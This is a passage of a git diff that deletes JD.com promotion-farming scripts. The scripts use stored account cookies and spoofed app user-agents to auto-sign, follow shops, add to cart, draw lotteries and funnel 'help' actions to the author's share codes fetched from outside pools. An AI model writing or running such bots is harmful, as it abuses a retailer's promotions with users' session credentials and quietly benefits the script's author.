($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), - ].filter((item) => !!item); -} -const JD_API_HOST = "https://api.m.jd.com/client.action"; -!(async () => { - if (!cookiesArr[0]) { - $.msg( - $.name, - "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", - "https://bean.m.jd.com/", - { "open-url": "https://bean.m.jd.com/" } - ); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent( - cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] - ); - $.index = i + 1; - message = ""; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await genToken(); - await isvObfuscator(); - await setCookie(); - await main() - } - } - if ($.isNode()) await notify.sendNotify(`${$.name}`, `${message}\n\n如需做注册店铺会员任务,请点击下方链接手动完成\nhttps%3A%2F%2Fmpdz-isv.isvjcloud.com%2Fql%2Ffront%2Ftcl002%2FloadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171\n\nhttps://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171`); -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); - -function showMsg() { - return new Promise(resolve => { - $.log($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} -async function main() { - await loadAct() - await helpFriend(shareUUID[Math.floor(Math.random() * 2)]) - await sign() - await $.wait(1000) - await getShopList() - if (isPurchaseShops) await getGoodsList() - await browse() - await $.wait(1000) - await browse(1) - await $.wait(1000) - await draw() -} - -function helpFriend(inviterNickAes = '4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1') { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/helpFriend', `inviterNickAes=${inviterNickAes}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - console.log(data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function loadAct() { - return new Promise((resolve) => { - $.get(taskGetUrl(), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - //console.log(data) - let id = data.match(//) - //console.log('好友助力码' + id[1]) - if (data.indexOf('
') === -1) { - console.log(`未选择球队,去选择`) - await chooseTeam() - } else { - console.log(`已选择球队`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function chooseTeam() { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/chooseTeam', `team=0`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - console.log(`选择队伍结果:` + data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function sign() { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/goSign'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - console.log(`签到结果:` + data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function browse(type = 0) { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/browesVenue', `type=${type}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - console.log(`浏览会场结果:` + data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function getShopList() { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/showshopload'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - for (let vo of data.data) { - if (!vo.followFlag) { - await browseShop(vo.id) - await $.wait(1000) - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function browseShop(shopId) { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/goBrowseShop', `shopId=${shopId}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - console.log('关注店铺结果:' + data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function getGoodsList() { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/showgoodsload'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - for (let vo of data.data) { - if (!vo.itemFlag) { - await goPlus(vo.skuId) - await $.wait(1000) - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function goPlus(goodId) { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/goplus', `goodId=${goodId}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - console.log('加入购物车结果:' + data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function draw() { - return new Promise((resolve) => { - $.post(taskUrl('/ql/front/tcl002/drawTcl002', ``), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = $.toObj(data) - message = '抽奖结果:' + data.msg - console.log('抽奖结果:' + data.msg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function genToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=genToken', - body: 'uuid=8888888&client=apple&clientVersion=9.5.2&st=1619194107036&sign=8feb09628c3c7a76dd0f2f8a694eaf79&sv=100&body=%7B%22to%22%3A%22https%3A//mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171%26comeResource%3D10%26bizExtString%3D4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1%22%2C%22action%22%3A%22to%22%7D', - headers: { - Host: "api.m.jd.com", - accept: "*/*", - "user-agent": "JD4iPhone/167638 (iPhone; iOS 13.7; Scale/3.00)", - "accept-language": - "zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6", - "content-type": "application/x-www-form-urlencoded", - Cookie: cookie, - }, - }; - return new Promise((resolve) => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`); - console.log(`${JSON.stringify(err)}`); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.isvToken = data["tokenKey"]; - // console.log($.isvToken); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function isvObfuscator() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: 'uuid=8888888&client=apple&clientVersion=9.5.2&st=1619194362037&sign=1f829aab2583c598c1b6b1feeec5fe05&sv=101&body=%7B%22url%22%3A%22https%3A//mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171%26comeResource%3D10%26bizExtString%3D4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1%22%2C%22id%22%3A%22%22%7D', - headers: { - Host: "api.m.jd.com", - accept: "*/*", - "user-agent": "JD4iPhone/167638 (iPhone; iOS 13.7; Scale/3.00)", - "accept-language": - "zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6", - "content-type": "application/x-www-form-urlencoded", - Cookie: cookie, - }, - }; - return new Promise((resolve) => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.token = data["token"]; - // console.log($.token); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function setCookie() { - return new Promise((resolve) => { - $.post(taskUrl('front/setMixNick', `strTMMixNick=${$.token}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - let setCookie = resp.headers[sck]; - let dfs = setCookie.toString().match(/dfs=(.*?);/)[1]; - let jwt = setCookie.toString().match(/jwt=(.*?);/)[1]; - cookie = `dfs=${dfs}; jwt=${jwt}; IsvToken=${$.token}`; - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -function taskUrl(functionId, body) { - return { - url: `https://mpdz-isv.isvjcloud.com/${functionId}`, - body: `userId=10299171&source=01&${body}`, - headers: { - Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - 'Cookie': cookie, - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - Connection: "keep-alive", - Host: "mpdz-isv.isvjcloud.com", - "User-Agent": 'jdapp;iPhone;9.5.0;14.0.1;370c564f3ec5abbbe14f1f9f46ac73742fd56f58;network/wifi;ADID/4F7F967C-F9D8-41DE-902A-D87F8D45113A;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/33553535;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' - } - } -} - -function taskGetUrl() { - return { - url: `https://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171&comeResource=10&bizExtString=4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1`, - headers: { - 'Host': 'mpdz-isv.isvjcloud.com', - 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Accept-Language': 'zh-cn', - 'Cookie': cookie, - "Accept-Encoding": "gzip, deflate, br", - Connection: "keep-alive", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_tiger.js b/activity/jd_tiger.js deleted file mode 100644 index aee6e05..0000000 --- a/activity/jd_tiger.js +++ /dev/null @@ -1,224 +0,0 @@ -/* -萌虎摇摇乐 -https://yearfestival.jd.com -优先内部互助,剩余次数助力作者和助力池 -0 0,12,18 * * * jd_tiger.js -转义自HW大佬 -const $ = new Env('萌虎摇摇乐'); -*/ -const name = '萌虎摇摇乐' -let UA = process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT) -const got = require('got') -const notify = require('./sendNotify') -const jdCookieNode = require('./jdCookie.js') -let shareCodesSelf = [] -let cookiesArr = [], - cookie -Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) -}) - -!(async () => { - if (!cookiesArr[0]) { - console.error('No CK found') - return - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i] - const userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - console.log(`\n开始【京东账号${i + 1}】${userName}\n`) - try { - let res = await api({ "apiMapping": "/api/task/support/getShareId" }) - console.log('助力码:', res.data) - await wait(1000) - shareCodesSelf.push(res.data) - res = await api({ "apiMapping": "/api/task/support/list" }) - console.log('收到助力:', res.data.supportedNum) - await wait(1000) - - res = await api({ "apiMapping": "/api/task/brand/tabs" }) - await wait(1000) - for (let tab of res.data) { - let taskGroupId = tab.taskGroupId - res = await api({ "taskGroupId": taskGroupId, "apiMapping": "/api/task/brand/getTaskList" }) - for (let t of res.data) { - for (let i = t.finishNum; i < t.totalNum; i++) { - res = await getTaskDetail(taskGroupId) - if (res) { - console.log(taskGroupId, res.taskId, res.taskItemId, res.taskType, res.taskItemName) - let sleep = res.browseTime ? res.browseTime * 1000 : 1000 - res = await api({ "taskGroupId": taskGroupId, "taskId": res.taskId, "taskItemId": res.taskItemId, "apiMapping": "/api/task/brand/doTask" }) - await wait(sleep) - if (res.data.taskType === 'BROWSE_TASK') { - res = await api({ "taskGroupId": taskGroupId, "taskId": res.data.taskId, "taskItemId": res.data.taskItemId, "timestamp": res.data.timeStamp, "apiMapping": "/api/task/brand/getReward" }) - console.log('任务完成,积分:', res.data.integral, ',京豆:', res.data.jbean) - await wait(1000) - } else if (res.data.taskType === 'FOLLOW_SHOP_TASK') { - // console.log('任务完成,获得:', res.data.rewardInfoVo?.integral, res.data.rewardInfoVo?.jbean) - console.log(res.data.rewardInfoVo) - } - } - } - } - } - } catch (e) { - console.log('黑号?', e) - } - } - let authorCode = [] - let res = await getAuthorShareCode('https://raw.githubusercontent.com/zero205/updateTeam/main/shareCodes/tiger.json') - if (!res) { - res = await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/tiger.json') - } - if (res) { - authorCode = res.sort(() => 0.5 - Math.random()) - const limit = 3 - if (authorCode.length > limit) { - authorCode = authorCode.splice(0, limit) - } - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i] - const userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - const pool = await getShareCodePool('tiger', 5) - // if (shareCodesHW.length === 0) { - // shareCodesHW = await getshareCodeHW('tiger') - // } - // index === 0 ? - // shareCodes = Array.from(new Set([...shareCodesHW, ...shareCodesSelf, ...temp])) : - // shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW, ...temp])) - shareCodes = Array.from(new Set([...shareCodesSelf, ...authorCode, ...pool])) - // console.log(shareCodes) - for (let code of shareCodes) { - console.log(`账号${i + 1} 去助力 ${code} ${shareCodesSelf.includes(code) ? '(内部)' : ''}`) - try { - const res = await api({ "shareId": code, "apiMapping": "/api/task/support/doSupport" }) - if (res.data.status === 1) { - !res.data.supporterPrize ? - console.log('不助力自己') : - console.log('助力成功,京豆:', res.data.supporterPrize.beans, ',积分:', res.data.supporterPrize.score) - } else if (res.data.status === 7) { - console.log('上限') - break - } else if (res.data.status === 3) { - console.log('已助力过') - } else { - console.log('其他情况', res.data.status) - } - await wait(1000) - } catch (e) { - console.log('黑号?', e) - } - - } - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i] - const userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - console.log(`\n开始【京东账号${i + 1}】${userName}\n`) - try { - let res = await api({ "apiMapping": "/api/index/indexInfo" }) - let lotteryNum = res.data.lotteryNum - console.log('抽奖次数:', lotteryNum) - for (let i = 0; i < lotteryNum; i++) { - res = await api({ "apiMapping": "/api/lottery/lottery" }) - console.log('抽奖', i + 1, '/', lotteryNum, res.data.prizeName) - await wait(4000) - } - } catch (e) { - console.log('黑号?', e) - } - } -})() -.catch((e) => { - console.error(`${name} error: ${e.stack}`) -}) -.finally(() => { - console.log(`${name} finished}`) -}) - -async function getAuthorShareCode(url) { - try { - const options = { - url, - "timeout": 10000, - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - const { body } = await got(options) - // console.debug('getAuthorShareCode:',body) - return JSON.parse(body) || [] - } catch (e) { - // console.warn('getAuthorShareCode:', e) - return false - } - -} - -function wait(time) { - return new Promise(resolve => { - setTimeout(() => { - resolve() - }, time) - }) -} - -async function api(r_body) { - const options = { - url: 'https://api.m.jd.com/api', - headers: { - 'Host': 'api.m.jd.com', - 'Origin': 'https://yearfestival.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': UA, - 'Referer': 'https://yearfestival.jd.com/', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', - 'Cookie': cookie - }, - form: { - appid: 'china-joy', - functionId: 'collect_bliss_cards_prod', - body: JSON.stringify(r_body), - t: Date.now(), - loginType: 2 - } - // body: `appid=china-joy&functionId=collect_bliss_cards_prod&body=${JSON.stringify(r_body)}&t=${Date.now()}&loginType=2` - } - const { body } = await got.post(options) - // console.debug(options) - // console.log(body) - return JSON.parse(body) -} - -async function getShareCodePool(key, num) { - let shareCode = [] - for (let i = 0; i < 2; i++) { - try { - const { body } = await got(`https://api.jdsharecode.xyz/api/${key}/${num}`) - console.debug('getShareCodePool:', body) - shareCode = JSON.parse(body).data || [] - console.log(`随机获取${num}个${key}成功:${JSON.stringify(shareCode)}`) - if (shareCode.length !== 0) { - break - } - } catch (e) { - // console.warn(e.stack) - console.log("getShareCodePool Error, Retry...") - await wait(2000 + Math.floor((Math.random() * 4000))) - } - } - return shareCode -} - - -async function getTaskDetail(taskGroupId) { - let res = await api({ "taskGroupId": taskGroupId, "apiMapping": "/api/task/brand/getTaskList" }) - await wait(1000) - for (let t of res.data) { - if (t.finishNum !== t.totalNum) { - return t - } - } - return '' -} diff --git a/activity/jd_unbind.js b/activity/jd_unbind.js deleted file mode 100644 index 805afb2..0000000 --- a/activity/jd_unbind.js +++ /dev/null @@ -1,264 +0,0 @@ -/* -注销京东会员卡 -是注销京东已开的店铺会员,不是京东plus会员 -查看已开店铺会员入口:我的=>我的钱包=>卡包 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==========Quantumult X========== -[task_local] -#注销京东会员卡 -55 23 * * 6 jd_unbind.js, tag=注销京东会员卡, img-url= https://raw.githubusercontent.com/58xinian/icon/master/jd_unbind.png, enabled=true -=======Loon======== -[Script] -cron "55 23 * * 6" script-path=jd_unbind.js,tag=注销京东会员卡 -========Surge========== -注销京东会员卡 = type=cron,cronexp="55 23 * * 6",wake-system=1,timeout=3600,script-path=jd_unbind.js -=======小火箭===== -注销京东会员卡 = type=cron,script-path=jd_unbind.js, cronexpr="10 23 * * 6", timeout=3600, enable=true - */ -const $ = new Env('注销京东会员卡'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -const notify = $.isNode() ? require('../sendNotify') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 -let cardPageSize = 200;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 -let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 -const JD_API_HOST = 'https://api.m.jd.com/'; -!(async () => { - if (!cookiesArr[0]) { - 